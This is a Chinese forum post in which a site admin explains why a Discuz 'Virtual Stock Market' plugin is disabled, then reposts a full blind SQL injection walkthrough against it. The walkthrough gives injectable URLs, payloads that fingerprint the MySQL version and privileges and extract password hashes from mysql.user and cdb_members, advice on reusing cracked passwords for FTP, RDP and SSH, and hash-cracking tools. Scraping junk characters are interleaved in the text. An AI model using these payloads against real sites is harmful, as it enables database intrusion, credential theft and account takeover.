TA的每日心情 | 擦汗 3 小时前 |
---|
签到天数: 2372 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。
) p. v& h a9 g. _: V
# q2 M* W' U$ \( I$ t我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。
3 L4 ]! ^; ]0 r+ j+ K1 b& U" M u% V; ~! C" e
漏洞如下:7 w- ~6 O, ]8 Z7 y
( W! |" z5 K3 j, }# ]% B* i$ t1 @Discuz插件《虚拟股市》blind Injection Vul利用
$ r" ~" s( H6 z5 l; z1 ]; ^. q! Q! c/ Q/ @1 h
* n1 u$ M4 e. j& y9 u- d j# `4 |
漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。
% ?$ M( {' J2 E3 x. N8 {$ D经过简单的测试,就发现了《虚拟股市》存在注射漏洞:
) `5 l! |+ o4 Q1 Vhttp://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数
* j+ K1 t1 A: \; ^2 J, {( B6 whttp://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
1 W5 H0 d/ O/ n/ `+ n# r确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 9 N' i/ h% i: t( h* i3 n+ x
思路有二: 8 ~, Z. ^. y$ u6 e5 E- N x# i6 c0 |
1.尝试盲注 8 s4 P9 N% ?! _+ c
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数 ( K8 V$ V& ~6 C) `9 m7 U+ S) g
但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。
; X9 j; k2 e+ P盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下:
; B# c3 D& p+ J1 W3 i* N7 e$ O; O#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 4 j; { {! X6 x# c p0 C% u( n# f
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 4 `* q: h- i( J# z. c1 F
#是否支持子查询(版本为4的情况下) : q! z4 r- L; {3 [. m2 m
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1 1 {* b3 s- O, ?. `% Z- D8 }
#当前用户是否为root + G% F$ ]. r4 q$ H
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1
! Y* q- @4 F, V* ^- a1 W, S C下面就根据情况而异了: " X, B: q4 ]: C6 J5 p) {, ?
1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。 % b4 u. d2 E, C7 k6 x$ |. [: b4 n/ b
2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。 & E. [0 _& X! V' d
#######取数据
D: R. y6 {" Y. M* [% n9 Z#mysql.user表第一行第一个字符的ASCII值是否大于80
# L& m- ]5 E" b. ^0 R& Aand ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80 # {( ]/ w% p/ E4 T1 }6 f3 N6 a
#第二个字符的ASCII值是否大于90 5 b- J8 t; @+ ?: _
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90 8 r7 U$ f* D- j6 n8 e5 ~8 h
………… : {, n0 p- X3 v2 @1 O
就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。 9 U- T9 Q8 q% Y0 U# Z/ K3 q" K# a
密码破解: 9 C, S* T* P4 N2 p3 y* @! P, [
1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。 / c* ?: k" l6 j$ D5 Y! F( y, k
2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|